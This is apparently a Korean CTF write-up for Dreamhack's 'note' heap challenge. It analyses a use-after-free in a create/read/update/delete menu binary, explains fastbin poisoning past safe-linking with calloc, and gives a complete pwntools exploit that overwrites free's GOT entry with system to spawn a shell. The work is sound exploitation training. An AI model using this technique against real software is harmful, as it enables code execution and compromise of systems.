[문제링크](https://dreamhack.io/wargame/challenges/1346)
문제에는 binary 파일과 dockerfile이 존재한다.
1. 분석
이번에도 main함수는 존재하지 않는다. __libc_start_call_main을 통해 call rax로 main 함수에 들어온다.
그렇게 얻은 어셈블리를 디컴파일한 결과는 다음과 같다.
main() {
func_0x4016bd();
while(true) {
func_0x401662();
scanf("%d", rbp-0xc);
if(*(int*)(rbp-0xc) == 4) {
func_0x40127a();
continue;
}
if(*(int*)(rbp-0xc) > 4) {
break;
}
if(*(int*)(rbp-0xc) == 3) {
func_0x401339();
continue;
}
if(*(int*)(rbp-0xc) > 3) {
break;
}
if(*(int*)(rbp-0xc) == 1) {
func_0x4014f6();
continue;
}
if(*(int*)(rbp-0xc) == 2) {
func_0x401428();
continue;
}
else {
break;
}
}
};
func_0x4016bd() {
setvbuf(stdin, 0,2,0);
setvbuf(stdout, 0,2,0);
}
func_0x401662() {
puts("1. create");
puts("2. read");
puts("3. update");
puts("4. delete");
printf("> ");
}
func_0x4014f6() {
printf("idx: ");
scanf("%d", rbp-0x24);
if(*(int*)(rbp-0x24) < 0) exit(1);
if(*(int*)(rbp-0x24) > 9) exit(1);
printf("size: ");
scanf("%lu", rbp-0x20);
if(*(long*)(rbp-0x20) > 0x70) exit(1);
*(long*)(0x4040a8 + (long)*(int*)(rbp-0x24) << 0x4) = *(long*)(rbp-0x20);
*(long*)(0x4040b0 + (long)*(int*)(rbp-0x24) << 0x4) = calloc(*(long*)(rbp-0x20), 0x1);
if(*(long*)(0x4040b0 + *(int*)(rbp-0x24) << 0x4) == 0) exit(1);
printf("data: ");
read(0, *(long*)(0x4040b0 + *(int*)(rbp-0x24) << 0x4), *(long*)(rbp-0x20));
}
func_0x401428() {
printf("idx: ");
scanf("%d", rbp-0xc);
if(*(int*)(rbp-0xc) < 0) exit(1);
if(*(int*)(rbp-0xc) > 9) exit(1);
if(*(long*)(0x4040b0 + *(int*)(rbp-0xc) << 4) == 0) exit(1);
printf("data: %s\n", *(long*)(0x4040b0 + *(int*)(rbp-0xc) << 4));
}
func_0x401339() {
printf("idx: ");
scanf("%d", rbp-0xc);
if(*(int*)(rbp-0xc) < 0) exit(1);
if(*(int*)(rbp-0xc) > 0x9) exit(1);
if(*(long*)(0x4040b0 + *(int*)(rbp-0xc) << 4) == 0) exit(1);
printf("data: ");
read(0, *(long*)(0x4040b0 + *(int*)(rbp-0xc) << 0x4), *(long*)(0x4040a8 + *(int*)(rbp-0xc) << 4));
}
func_0x40127a() {
printf("idx: ");
scanf("%d", rbp-0xc);
if(*(int*)(rbp-0xc) < 0) exit(1);
if(*(int*)(rbp-0xc) > 0x9) exit(1);
if(*(long*)(0x4040b0 + *(int*)(rbp-0xc) << 4) == 0) exit(1);
free(*(long*)(0x4040b0 + *(int*)(rbp-0xc) << 4));
}
checksec은 다음과 같다.
File: /workspaces/dreamhack-practice/dreamhack/deploy/note
Arch: amd64
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Relro가 partial이니까 got overwrite가 된다면 아주 좋을 것 같다.
문제를 보니, 며칠 전에 푼 kidheap과 매우 유사하다.
다른 점이라면, note저장을 전역 변수에 하고, 힙할당 시 calloc을 쓴 다정도?
2. 코드 흐름
0x4040a8은 전역변수 위치로, 짝수 위치엔 사이즈, 홀수 위치엔 data를 위한 heap 주소가 저장된다.
1) 사용자에게 입력을 받음
- 1일 때
1.1. idx를 입력받음
1.2. idx가 0~9이면 다음으로, 아니면 프로그램 종료
1.3. size입력받음
1.4. 0x4040a8[idx][0]에 size 저장
1.5. 0x4040a8[idx][1]에 calloc한 결과의 포인터를 저장
1.6. 할당이 정상적이지 않으면 프로그램 종료
1.7. data를 입력받음
1.8. calloc한 힙 영역에 저장
- 2 일 때
2.1. idx를 입력받음
2.2. idx가 0~9이면 다음으로, 아니면 프로그램 종료
2.3. idx에 맞는 data를 화면에 출력
- 3 일 때
3.1. idx 입력받음
3.2. idx가 0~9이면 다음으로, 아니면 프로그램 종료
3.3. data를 입력받아 기존 값을 덮음
- 4일 때
4.1. idx를 입력받음
4.2. idx가 0~9이면 다음으로, 아니면 프로그램 종료
4.3 할당이 되어있다면 free
3. 가능 시나리오
오히려 kidheap보다 상황이 낫다. 일단 kidheap을 풀기도 했고, checksec조건도 훨씬 좋으며 코드도 훨씬 간단하다.
가능한 공격 방법은 다음과 같다.
1. delete 할 때, free 한 후 포인터를 지우지 않기 때문에 dangling pointer가 있다. uaf write, uaf read가 가능할 것이다.
2. 1과 같은 이유로, double free를 이용할 수 있을 것이다.
3. uaf read를 이용하면, heap leak, libc leak 등이 가능할 것이다.
4. 첫 시나리오
kidheap과 마찬가지로 dangling pointer를 이용하려 했다. uaf가 가능하기 때문에, next를 변조할 수 있기 때문이다.
tcache의 next를 0x4040a8 내의 값으로 변조하여 data의 calloc위치를 got로 변조하여 got를 free에서 system으로 변조하려 했다.
4.1 문제 발생
근데, 문제가 생겼다.
calloc이 있기 때문에 일단 heap leak을 해냈고, 이걸 이용해서 libc leak이든 뭘 하려고 했다. calloc에서 next 부분을 leak 해냈고, 이를 사용할 수 있는 부분이 있을까 찾아보고 있었다.
uaf read를 이용하여 tcache poisoning을 일으키려 했다. next 값을 변조하였으나 calloc에서는 tcache를 참조하지 않는 것인지 새로운 청크에 메모리를 할당하고 있었다.
구글링 해보니 calloc은 tcache를 참조하지 않고, fastbin, smallbin, unsorted bin 등을 참조한다고 한다.
5. 두 번째 시나리오
일단 그럼 tcache를 채운다. 이후, fastbin의 next값을 변조한다.
6. 최종 시나리오
1. 일단, fastbin이든, tcache든 gdb 분석결과 safe linking이 사용되고 있었고, 이때, heap주소 >> 12가 항상 있었기 때문에 safe link filter를 leak 해야 한다. 이는 tcache로 free 한 후, user data값을 읽으면 얻을 수 있다. 추후 이 값은 next 변조에 xor로 사용된다.
2. tcache를 채워야 한다. 그래야 나머지 bin에 청크가 해제, 할당된다. 이전 공부할 때, tcache에 저장할 수 있는 청크 개수가 한정되어있다고 한 기억이 있어 찾아보니 7개라고 한다. 7번의 힙 청크를 할당했다가 해제한다.
3. fastbin의 fd값을 변조하면 된다.
4. fd를 pie로 변조하고, 전역값을 내가 원하는 값으로 바꿀 수 있게 한 후, data 주소부분을 got주소로 변환한다.
5. got주소에서 read 하여 free의 libc값을 leak 하고, system의 주소를 offset을 통해 계산한다.
6. got주소의 값을 system의 주소로 변환한다.
7. 코드를 작성하며 생긴 상황/문제
1. fastbin은 single linked list인 것 같다. tcache에선 next와 tcache_key가 들어갔는데, 이번엔 next만 저장되어 있다. unsortedbin에서는 fd와 bk였다.
2. 시나리오에서 fd를 pie로 변조하고, 이 pie를 got로 변환하도록 시나리오를 구성했다. 이 이유는 calloc은 값을 0으로 하기 때문에 libc leak이 불가능하기 때문이다.
3. next를 변조하면서 생긴 문제가 2가지 있다. calloc 하는 과정에서 기존 0x4040a8을 next로 지정하였더니 정상적으로 받아내지 못했다. 그 이유는 calloc과 malloc에서 사용하는 _int_malloc에서 문제가 터진 것이다.
- 첫 번째 문제는 align 문제였다. test [next], 0xf 하는데, 무조건 메모리주소가 0x~~0이어야 통과가 되는 것이었다. 이때, 0x4040a8[2][1], 즉 idx 2의 data영역인 0x4040d0의 위치로 지정하였다. fd값은 user data의 주소가 아닌, 청크의 시작 주소를 가리키기 때문에 -0x10까지하여야 prev_size, size+flag이후, 원하는 위치인 0x4040d0에 값을 변조할 수 있다.
- 두 번째 문제는 size의 위치와 calloc에 요구한 사이즈가 다른 것이다. size의 위치인 0x4040c8위치가 0x40이 요구되면 0x50이어야하나 기존 코드의 흐름에 따라 0x40이 저장된다. 이는, idx 2의 note의 사이즈를 0x50으로 다시 할당하면 된다.
4. 이때, free를 overwrite 한 이유는 다음과 같다. free는 free(pointer)로 작동한다. 이때, free를 system으로 변조하면, free(pointer) => system(pointer)가 되고, pointer에 "/bin/sh"가 있다면 이는, system("/bin/sh")로 작동한다. 때문에 data가 들어있는 pointer를 사용하는 free를 system으로 변조하였다.
8. 익스플로잇 코드
from pwn import *
''' local
freeOffset = 0x00000000000add50;
systemOffset = 0x0000000000058750;
'''
''' docker '''
freeOffset = 0x00000000000a53e0
systemOffset = 0x0000000000050d70
#p = process("./note")
p = remote("host3.dreamhack.games", 10196)
def send(n, idx=0, size=0, data=b""):
p.sendlineafter(b"> ", f'{n}'.encode())
if(n == 1):
p.sendlineafter(b"idx: ", f'{idx}'.encode())
p.sendlineafter(b"size: ", f'{size}'.encode())
p.sendafter(b"data: ", data)
elif(n == 2):
p.sendlineafter(b"idx", f'{idx}'.encode())
p.recvuntil(b"data: ")
return p.recvline().split(b"\n")[0]
elif(n == 3):
p.sendlineafter(b"idx: ", f'{idx}'.encode())
p.sendafter(b"data: ", data)
elif(n == 4):
p.sendlineafter(b"idx: ", f'{idx}'.encode())
def fit(data, size=8):
return u64(data + b'\x00' * (size - len(data)))
# heap leak
send(n=1,idx=0, size=0x40, data=b'a'*0x40)
send(n=4,idx=0)
# tcache, fastbin을 위한 safe linking filter 추출
safelinkingfilter = fit(send(n=2,idx=0))
print(hex(safelinkingfilter))
# tcache 채우기
for i in range(0x5):
send(n=1,idx=2,size=0x40,data=b"a"*0x40)
send(n=4,idx=2)
#fastbin 채우기
send(n=1,idx=3,size=0x40,data=b"a"*0x40)
send(n=1,idx=4,size=0x40,data=b"a"*0x40)
send(n=4,idx=3)
send(n=4,idx=4)
# fd 변조
send(n=1,idx=2,size=0x50,data=b"a"*0x40) # 0x40이 필요하면 0x50의 청크가 필요하기 때문에 임시로 만드는 영역. size의 위치에 0x50이 필요함.
send(n=3, idx=4, data=p64((0x4040b0+0x10*2-0x10)^safelinkingfilter)) # fd 변조
# idx4 note 가져가기
send(n=1,idx=5,size=0x40,data=b"a"*0x40)
# 변조된 0x4040b0+0x20 위치를 0x6에 넣기. 이때, calloc의 값이 idx2note를 가리키기 때문에 이곳의 got로 하면 overwrite 가능
send(n=1,idx=6,size=0x40,data=p64(0x404018))
# free를 system으로 변조
send(n=3,idx=2,data=p64(fit(send(n=2, idx=2)) - freeOffset + systemOffset))
# free가 system으로 바뀌었기 때문에 free(pointer)를 system(pointer) => system("/bin/sh")가 필요함. 그걸 위한 청크
send(n=1,idx=3,size=8,data=b"/bin/sh")
# free => system 실행
send(n=4,idx=3)
p.interactive()
9. 결과
$ python exploit.py
[+] Starting local process './note': pid 18493
0xbc19
[*] Switching to interactive mode
$ ls
exploit.py flag func note note.c note.s
$ cat flag
DH{**flag**}'보안 > 시스템해킹' 카테고리의 다른 글
| [Dreamhack][시스템해킹] kidheap (0) | 2026.08.20 |
|---|---|
| [Dreamhack][시스템해킹] pet pals - 드림핵 서버 익스 (0) | 2026.08.15 |
| [Dreamhack][시스템해킹] pet pals (0) | 2026.08.14 |
| [Dreamhack][시스템 해킹] dreamvm (0) | 2026.07.18 |
| [시스템 해킹][Dreamhack] string (0) | 2026.07.11 |